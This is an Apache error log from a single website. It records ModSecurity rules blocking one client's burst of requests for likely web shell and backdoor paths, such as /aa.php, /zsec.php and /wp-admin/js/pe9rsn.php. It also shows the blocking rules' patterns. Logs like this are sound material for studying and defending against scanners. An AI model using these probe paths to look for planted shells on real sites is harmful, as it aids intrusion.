[Thu Feb 26 10:16:54.233349 2026] [:error] [pid 3883:tid 3895] [client 20.100.197.204:7676] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZ-tFuA33x90V6yYHajxHwAAAUk"]
[Thu Feb 26 10:16:55.022656 2026] [:error] [pid 3883:tid 3886] [client 20.100.197.204:47259] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aZ-tF-A33x90V6yYHajxJAAAAUA"]
[Thu Feb 26 10:16:55.798170 2026] [:error] [pid 55051:tid 55069] [client 20.100.197.204:48503] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aZ-tFwmK1w2kZvh5eLG7-gAAAI8"]
[Thu Feb 26 10:16:57.264471 2026] [:error] [pid 55618:tid 55631] [client 20.100.197.204:52715] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aZ-tGR61Vrh12f_8oWQsDwAAAQo"]
[Thu Feb 26 10:16:58.456685 2026] [:error] [pid 55618:tid 55629] [client 20.100.197.204:47959] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aZ-tGh61Vrh12f_8oWQsGQAAAQg"]
[Thu Feb 26 10:16:59.267508 2026] [:error] [pid 54991:tid 55040] [client 20.100.197.204:7666] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aZ-tG94Zx-mJ8gbRB2hvngAAAFQ"]
[Thu Feb 26 10:17:00.261876 2026] [:error] [pid 25311:tid 25336] [client 20.100.197.204:21834] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aZ-tHNfdM__yZAgJFSszlwAAAZY"]
[Thu Feb 26 10:17:01.270926 2026] [:error] [pid 55122:tid 55142] [client 20.100.197.204:55718] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aZ-tHYLiR0OfjFxvcN-NhwAAANI"]
[Thu Feb 26 10:17:04.747976 2026] [:error] [pid 55618:tid 55623] [client 20.100.197.204:56791] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aZ-tIB61Vrh12f_8oWQsLQAAAQI"]
[Thu Feb 26 10:17:06.307973 2026] [:error] [pid 3883:tid 3903] [client 20.100.197.204:7778] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aZ-tIuA33x90V6yYHajxQAAAAVE"]
[Thu Feb 26 10:17:07.423569 2026] [:error] [pid 3883:tid 3893] [client 20.100.197.204:47985] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aZ-tI-A33x90V6yYHajxTQAAAUc"]
[Thu Feb 26 10:17:08.204491 2026] [:error] [pid 25311:tid 25332] [client 20.100.197.204:33900] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aZ-tJNfdM__yZAgJFSszwQAAAZI"]
[Thu Feb 26 10:17:09.052360 2026] [:error] [pid 25311:tid 25321] [client 20.100.197.204:40101] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aZ-tJdfdM__yZAgJFSszzAAAAYc"]
[Thu Feb 26 10:17:09.724610 2026] [:error] [pid 55618:tid 55632] [client 20.100.197.204:56912] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aZ-tJR61Vrh12f_8oWQsNgAAAQs"]
[Thu Feb 26 10:17:11.364020 2026] [:error] [pid 25311:tid 25319] [client 20.100.197.204:7747] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aZ-tJ9fdM__yZAgJFSsz1gAAAYU"]
[Thu Feb 26 10:17:12.460031 2026] [:error] [pid 55618:tid 55624] [client 20.100.197.204:56531] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aZ-tKB61Vrh12f_8oWQsPAAAAQM"]
[Thu Feb 26 10:17:13.438068 2026] [:error] [pid 3883:tid 3889] [client 20.100.197.204:37660] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aZ-tKeA33x90V6yYHajxXwAAAUM"]
[Thu Feb 26 10:17:14.505013 2026] [:error] [pid 25311:tid 25332] [client 20.100.197.204:56518] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aZ-tKtfdM__yZAgJFSsz5QAAAZI"]
[Thu Feb 26 10:17:15.217408 2026] [:error] [pid 54991:tid 55032] [client 20.100.197.204:33863] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "aZ-tK94Zx-mJ8gbRB2hvtgAAAEw"]
[Thu Feb 26 10:17:16.113213 2026] [:error] [pid 54990:tid 55005] [client 20.100.197.204:7467] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "aZ-tLHtr2qmt_mBhH2zHEwAAAAw"]
[Thu Feb 26 10:17:17.905756 2026] [:error] [pid 3883:tid 3899] [client 20.100.197.204:37690] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "aZ-tLeA33x90V6yYHajxcwAAAU0"]
[Thu Feb 26 10:17:19.769779 2026] [:error] [pid 25311:tid 25336] [client 20.100.197.204:53852] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "aZ-tL9fdM__yZAgJFSsz9wAAAZY"]
[Thu Feb 26 10:17:20.761452 2026] [:error] [pid 25311:tid 25315] [client 20.100.197.204:7427] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aZ-tMNfdM__yZAgJFSsz-QAAAYE"]
[Thu Feb 26 10:17:21.757729 2026] [:error] [pid 3883:tid 3903] [client 20.100.197.204:43089] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aZ-tMeA33x90V6yYHajxiwAAAVE"]
[Thu Feb 26 10:17:22.811825 2026] [:error] [pid 3883:tid 3905] [client 20.100.197.204:44508] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aZ-tMuA33x90V6yYHajxkQAAAVM"]
[Thu Feb 26 10:17:23.950308 2026] [:error] [pid 55051:tid 55061] [client 20.100.197.204:7346] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aZ-tMwmK1w2kZvh5eLG8aAAAAIc"]
[Thu Feb 26 10:17:24.749455 2026] [:error] [pid 3883:tid 3905] [client 20.100.197.204:36074] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ-tNOA33x90V6yYHajxlwAAAVM"]
[Thu Feb 26 10:17:25.572439 2026] [:error] [pid 55618:tid 55623] [client 20.100.197.204:51021] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ-tNR61Vrh12f_8oWQsVwAAAQI"]
[Thu Feb 26 10:17:26.228191 2026] [:error] [pid 54991:tid 55034] [client 20.100.197.204:51031] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ-tNt4Zx-mJ8gbRB2hvwAAAAE4"]
[Thu Feb 26 10:17:27.187019 2026] [:error] [pid 54991:tid 55030] [client 20.100.197.204:48104] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aZ-tN94Zx-mJ8gbRB2hvwwAAAEo"]
[Thu Feb 26 10:17:27.963667 2026] [:error] [pid 55051:tid 55076] [client 20.100.197.204:51525] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aZ-tNwmK1w2kZvh5eLG8aQAAAJY"]
[Thu Feb 26 10:17:28.898408 2026] [:error] [pid 55618:tid 55623] [client 20.100.197.204:7347] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aZ-tOB61Vrh12f_8oWQsXQAAAQI"]
[Thu Feb 26 10:17:30.077344 2026] [:error] [pid 25311:tid 25317] [client 20.100.197.204:7325] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aZ-tOtfdM__yZAgJFSs0AAAAAYM"]
[Thu Feb 26 10:17:31.156361 2026] [:error] [pid 54991:tid 55024] [client 20.100.197.204:47183] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aZ-tO94Zx-mJ8gbRB2hvzwAAAEQ"]
[Thu Feb 26 10:17:32.093983 2026] [:error] [pid 55618:tid 55622] [client 20.100.197.204:6971] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aZ-tPB61Vrh12f_8oWQsaQAAAQE"]
[Thu Feb 26 10:17:34.047243 2026] [:error] [pid 3883:tid 3900] [client 20.100.197.204:35484] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aZ-tPuA33x90V6yYHajxzAAAAU4"]
[Thu Feb 26 10:17:34.896041 2026] [:error] [pid 25311:tid 25324] [client 20.100.197.204:56417] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aZ-tPtfdM__yZAgJFSs0DQAAAYo"]
[Thu Feb 26 10:17:36.053978 2026] [:error] [pid 3883:tid 3900] [client 20.100.197.204:35380] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aZ-tQOA33x90V6yYHajx1QAAAU4"]
[Thu Feb 26 10:17:36.647304 2026] [:error] [pid 3883:tid 3902] [client 20.100.197.204:56394] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ-tQOA33x90V6yYHajx2QAAAVA"]
[Thu Feb 26 10:17:37.351164 2026] [:error] [pid 25311:tid 25324] [client 20.100.197.204:56645] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ-tQdfdM__yZAgJFSs0FAAAAYo"]
[Thu Feb 26 10:17:38.007990 2026] [:error] [pid 25311:tid 25332] [client 20.100.197.204:32928] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ-tQtfdM__yZAgJFSs0GQAAAZI"]
[Thu Feb 26 10:17:39.102006 2026] [:error] [pid 25311:tid 25332] [client 20.100.197.204:44504] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ-tQ9fdM__yZAgJFSs0JAAAAZI"]
[Thu Feb 26 10:17:40.550027 2026] [:error] [pid 25311:tid 25329] [client 20.100.197.204:44483] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aZ-tRNfdM__yZAgJFSs0LwAAAY8"]
[Thu Feb 26 10:17:41.450964 2026] [:error] [pid 25311:tid 25318] [client 20.100.197.204:56402] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aZ-tRdfdM__yZAgJFSs0MQAAAYQ"]
[Thu Feb 26 10:17:42.314436 2026] [:error] [pid 55618:tid 55631] [client 20.100.197.204:35387] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aZ-tRh61Vrh12f_8oWQseQAAAQo"]
[Thu Feb 26 10:17:42.885246 2026] [:error] [pid 54990:tid 55017] [client 20.100.197.204:55964] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aZ-tRntr2qmt_mBhH2zHFwAAABg"]
[Thu Feb 26 10:17:44.139965 2026] [:error] [pid 25311:tid 25316] [client 20.100.197.204:43092] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/special.php"] [unique_id "aZ-tSNfdM__yZAgJFSs0PQAAAYI"]
[Thu Feb 26 10:17:44.811757 2026] [:error] [pid 3883:tid 3902] [client 20.100.197.204:35355] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/special.php"] [unique_id "aZ-tSOA33x90V6yYHajx8gAAAVA"]
[Thu Feb 26 10:17:45.996296 2026] [:error] [pid 55051:tid 55061] [client 20.100.197.204:43091] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/special.php"] [unique_id "aZ-tSQmK1w2kZvh5eLG8fQAAAIc"]
[Thu Feb 26 10:17:47.042562 2026] [:error] [pid 55051:tid 55076] [client 20.100.197.204:48093] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/special.php"] [unique_id "aZ-tSwmK1w2kZvh5eLG8gQAAAJY"]
[Thu Feb 26 10:17:48.363410 2026] [proxy_fcgi:error] [pid 3883:tid 3893] [client 20.100.197.204:7684] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:17:50.447483 2026] [:error] [pid 3883:tid 3899] [client 20.100.197.204:7684] [client 20.100.197.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aZ-tTuA33x90V6yYHajyCQAAAU0"]
[Thu Feb 26 10:17:51.258960 2026] [proxy_fcgi:error] [pid 55122:tid 55146] [client 20.100.197.204:7345] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:17:51.522896 2026] [proxy_fcgi:error] [pid 55122:tid 55147] [client 20.100.197.204:7345] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:17:52.314606 2026] [proxy_fcgi:error] [pid 55122:tid 55130] [client 20.100.197.204:7345] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:17:52.578525 2026] [proxy_fcgi:error] [pid 55122:tid 55124] [client 20.100.197.204:7345] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:17:52.845465 2026] [proxy_fcgi:error] [pid 55122:tid 55135] [client 20.100.197.204:7345] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:17:53.111462 2026] [proxy_fcgi:error] [pid 55122:tid 55129] [client 20.100.197.204:7345] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:17:53.394672 2026] [:error] [pid 55122:tid 55140] [client 20.100.197.204:7345] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aZ-tUYLiR0OfjFxvcN-OAAAAANA"]
[Thu Feb 26 10:17:54.293980 2026] [:error] [pid 55122:tid 55132] [client 20.100.197.204:48086] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zsec.php"] [unique_id "aZ-tUoLiR0OfjFxvcN-OAwAAAMg"]
